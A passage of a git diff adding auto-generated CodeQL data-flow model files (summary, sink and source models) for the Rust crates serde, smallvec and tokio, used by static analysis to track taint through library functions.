"::type_try_from", "Argument[self].Field[crate::internals::attr::Container::type_try_from].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::aliases", "Argument[self].Field[crate::internals::attr::Field::name].Field[crate::internals::name::MultiName::deserialize_aliases]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::borrowed_lifetimes", "Argument[self].Field[crate::internals::attr::Field::borrowed_lifetimes]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::de_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::default", "Argument[self].Field[crate::internals::attr::Field::default]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deserialize_with", "Argument[self].Field[crate::internals::attr::Field::deserialize_with].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::flatten", "Argument[self].Field[crate::internals::attr::Field::flatten]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::getter", "Argument[self].Field[crate::internals::attr::Field::getter].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::name", "Argument[self].Field[crate::internals::attr::Field::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::ser_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::serialize_with", "Argument[self].Field[crate::internals::attr::Field::serialize_with].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::skip_deserializing", "Argument[self].Field[crate::internals::attr::Field::skip_deserializing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::skip_serializing", "Argument[self].Field[crate::internals::attr::Field::skip_serializing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::skip_serializing_if", "Argument[self].Field[crate::internals::attr::Field::skip_serializing_if].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::transparent", "Argument[self].Field[crate::internals::attr::Field::transparent]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[0].Field[crate::internals::attr::RenameAllRules::deserialize]", "ReturnValue.Field[crate::internals::attr::RenameAllRules::deserialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[0].Field[crate::internals::attr::RenameAllRules::serialize]", "ReturnValue.Field[crate::internals::attr::RenameAllRules::serialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[self].Field[crate::internals::attr::RenameAllRules::deserialize]", "ReturnValue.Field[crate::internals::attr::RenameAllRules::deserialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[self].Field[crate::internals::attr::RenameAllRules::serialize]", "ReturnValue.Field[crate::internals::attr::RenameAllRules::serialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::aliases", "Argument[self].Field[crate::internals::attr::Variant::name].Field[crate::internals::name::MultiName::deserialize_aliases]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::de_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deserialize_with", "Argument[self].Field[crate::internals::attr::Variant::deserialize_with].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::name", "Argument[self].Field[crate::internals::attr::Variant::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::other", "Argument[self].Field[crate::internals::attr::Variant::other]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::rename_all_rules", "Argument[self].Field[crate::internals::attr::Variant::rename_all_rules]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::ser_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::serialize_with", "Argument[self].Field[crate::internals::attr::Variant::serialize_with].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::skip_deserializing", "Argument[self].Field[crate::internals::attr::Variant::skip_deserializing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::skip_serializing", "Argument[self].Field[crate::internals::attr::Variant::skip_serializing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::untagged", "Argument[self].Field[crate::internals::attr::Variant::untagged]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::get", "Argument[self].Field[crate::internals::attr::VecAttr::values]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::apply_to_variant", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_str", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::internals::case::ParseError::unknown]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::or", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deserialize_aliases", "Argument[self].Field[crate::internals::name::MultiName::deserialize_aliases]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deserialize_name", "Argument[self].Field[crate::internals::name::MultiName::deserialize]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0].Reference", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0]", "ReturnValue.Field[crate::internals::name::MultiName::deserialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0]", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[1].Field[crate::internals::attr::Attr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[2].Field[crate::internals::attr::Attr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::internals::name::MultiName::deserialize]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::serialize_name", "Argument[self].Field[crate::internals::name::MultiName::serialize]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::bound::with_bound", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::bound::with_self_bound", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::bound::with_where_predicates", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::bound::with_where_predicates_from_fields", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::bound::with_where_predicates_from_variants", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "crate::internals::ungroup", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/serde/repo-serde_test_suite.model.yml b/rust/ql/lib/ext/generated/serde/repo-serde_test_suite.model.yml new file mode 100644 index 000000000000..103fc5f1533c --- /dev/null +++ b/rust/ql/lib/ext/generated/serde/repo-serde_test_suite.model.yml @@ -0,0 +1,33 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::serde_test_suite", "::variant_seed", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[1]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::visit_byte_buf", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::remote::NewtypePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[crate::NewtypePrivDef(0)]", "ReturnValue.Field[crate::remote::NewtypePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::get", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::get", "Argument[self].Field[crate::remote::NewtypePriv(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[0]", "ReturnValue.Field[crate::remote::NewtypePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::remote::PrimitivePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[crate::PrimitivePrivDef(0)]", "ReturnValue.Field[crate::remote::PrimitivePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::get", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::get", "Argument[self].Field[crate::remote::PrimitivePriv(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[0]", "ReturnValue.Field[crate::remote::PrimitivePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[crate::StructGenericWithGetterDef::value]", "ReturnValue.Field[crate::remote::StructGeneric::value]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::get_value", "Argument[self].Field[crate::remote::StructGeneric::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[crate::StructPrivDef::a]", "ReturnValue.Field[crate::remote::StructPriv::a]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0].Field[crate::StructPrivDef::b]", "ReturnValue.Field[crate::remote::StructPriv::b]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::a", "Argument[self].Field[crate::remote::StructPriv::a]", "ReturnValue", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::b", "Argument[self].Field[crate::remote::StructPriv::b]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[0]", "ReturnValue.Field[crate::remote::StructPriv::a]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[1]", "ReturnValue.Field[crate::remote::StructPriv::b]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::serde_test_suite", "::first", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::first", "Argument[self].Field[crate::remote::TuplePriv(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[0]", "ReturnValue.Field[crate::remote::TuplePriv(0)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::new", "Argument[1]", "ReturnValue.Field[crate::remote::TuplePriv(1)]", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::second", "Argument[self].Field[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::serde_test_suite", "::second", "Argument[self].Field[crate::remote::TuplePriv(1)]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml b/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml new file mode 100644 index 000000000000..d0ca9a017612 --- /dev/null +++ b/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml @@ -0,0 +1,42 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drop", "Argument[self].Field[crate::SetLenOnDrop::local_len]", "Argument[self].Field[crate::SetLenOnDrop::len].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::borrow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::borrow_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::index", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::index_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_mut_slice", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::as_slice", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain_filter", "Argument[0]", "ReturnValue.Field[crate::DrainFilter::pred]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drain_filter", "Argument[self]", "ReturnValue.Field[crate::DrainFilter::vec]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_buf_and_len", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_buf_and_len_unchecked", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_const_with_len_unchecked", "Argument[1]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::from_raw_parts", "Argument[2]", "ReturnValue.Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::into_inner", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::retain", "Argument[self].Element", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::try_grow", "Argument[0]", "Argument[self].Field[crate::SmallVec::capacity]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::next", "Argument[self].Field[crate::tests::MockHintIter::x].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::size_hint", "Argument[self].Field[crate::tests::MockHintIter::hint]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::size_hint", "Argument[self].Field[crate::tests::insert_many_panic::BadIter::hint]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::into_inner", "Argument[self]", "pointer-access", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/servo/rust-smallvec:smallvec", "::drop", "Argument[self]", "pointer-invalidate", "df-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-benches.model.yml b/rust/ql/lib/ext/generated/tokio/repo-benches.model.yml new file mode 100644 index 000000000000..d371cb1ae58e --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-benches.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo::benches", "::poll_read", "Argument[1]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-macros.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-macros.model.yml new file mode 100644 index 000000000000..d75cefcd1ebe --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-macros.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio-macros", "crate::entry::main", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-macros", "crate::entry::test", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-macros", "crate::select::clean_pattern_macro", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-macros", "crate::select_priv_clean_pattern", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml new file mode 100644 index 000000000000..76217f9951fc --- /dev/null +++ b/rust/ql/lib/ext/generated/tokio/repo-https-github.com-tokio-rs-tokio-tokio-stream.model.yml @@ -0,0 +1,90 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::extend", "Argument[2].Field[crate::result::Result::Err(0)]", "Argument[1].Reference.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::stream_close::StreamNotifyClose::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_close::StreamNotifyClose::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::all::AllFuture::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::all::AllFuture::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::any::AnyFuture::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::any::AnyFuture::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::chain::Chain::b]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::chunks_timeout::ChunksTimeout::cap]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[2]", "ReturnValue.Field[crate::stream_ext::chunks_timeout::ChunksTimeout::duration]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::collect::Collect::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::filter::Filter::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::filter::Filter::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::filter_map::FilterMap::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::filter_map::FilterMap::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::fold::FoldFuture::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::fold::FoldFuture::acc].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[2]", "ReturnValue.Field[crate::stream_ext::fold::FoldFuture::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::fuse::Fuse::stream].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::map::Map::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::map::Map::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::map_while::MapWhile::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::map_while::MapWhile::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::next::Next::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::peek", "Argument[self].Field[crate::stream_ext::peekable::Peekable::peek].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::skip::Skip::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::skip::Skip::remaining]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::skip_while::SkipWhile::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::skip_while::SkipWhile::predicate].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self].Field[crate::stream_ext::take::Take::remaining]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::size_hint", "Argument[self].Field[crate::stream_ext::take::Take::remaining]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::take::Take::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::take::Take::remaining]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::take_while::TakeWhile::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::take_while::TakeWhile::predicate]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::then::Then::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::then::Then::f]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::get_mut", "Argument[self].Field[crate::stream_ext::throttle::Throttle::stream]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::get_ref", "Argument[self].Field[crate::stream_ext::throttle::Throttle::stream]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::stream_ext::throttle::Throttle::stream]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::timeout::Timeout::duration]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[1]", "ReturnValue.Field[crate::stream_ext::timeout_repeating::TimeoutRepeating::interval]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::stream_ext::try_next::TryNext::inner].Field[crate::stream_ext::next::Next::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::finalize", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::finalize", "Argument[1].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::interval::IntervalStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::new", "Argument[0]", "ReturnValue.Field[crate::wrappers::interval::IntervalStream::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_mut", "Argument[self].Field[crate::wrappers::lines::LinesStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::as_ref", "Argument[self].Field[crate::wrappers::lines::LinesStream::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", "::into_inner", "Argument[self].Field[crate::wrappers::lines::LinesStream::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio-stream", 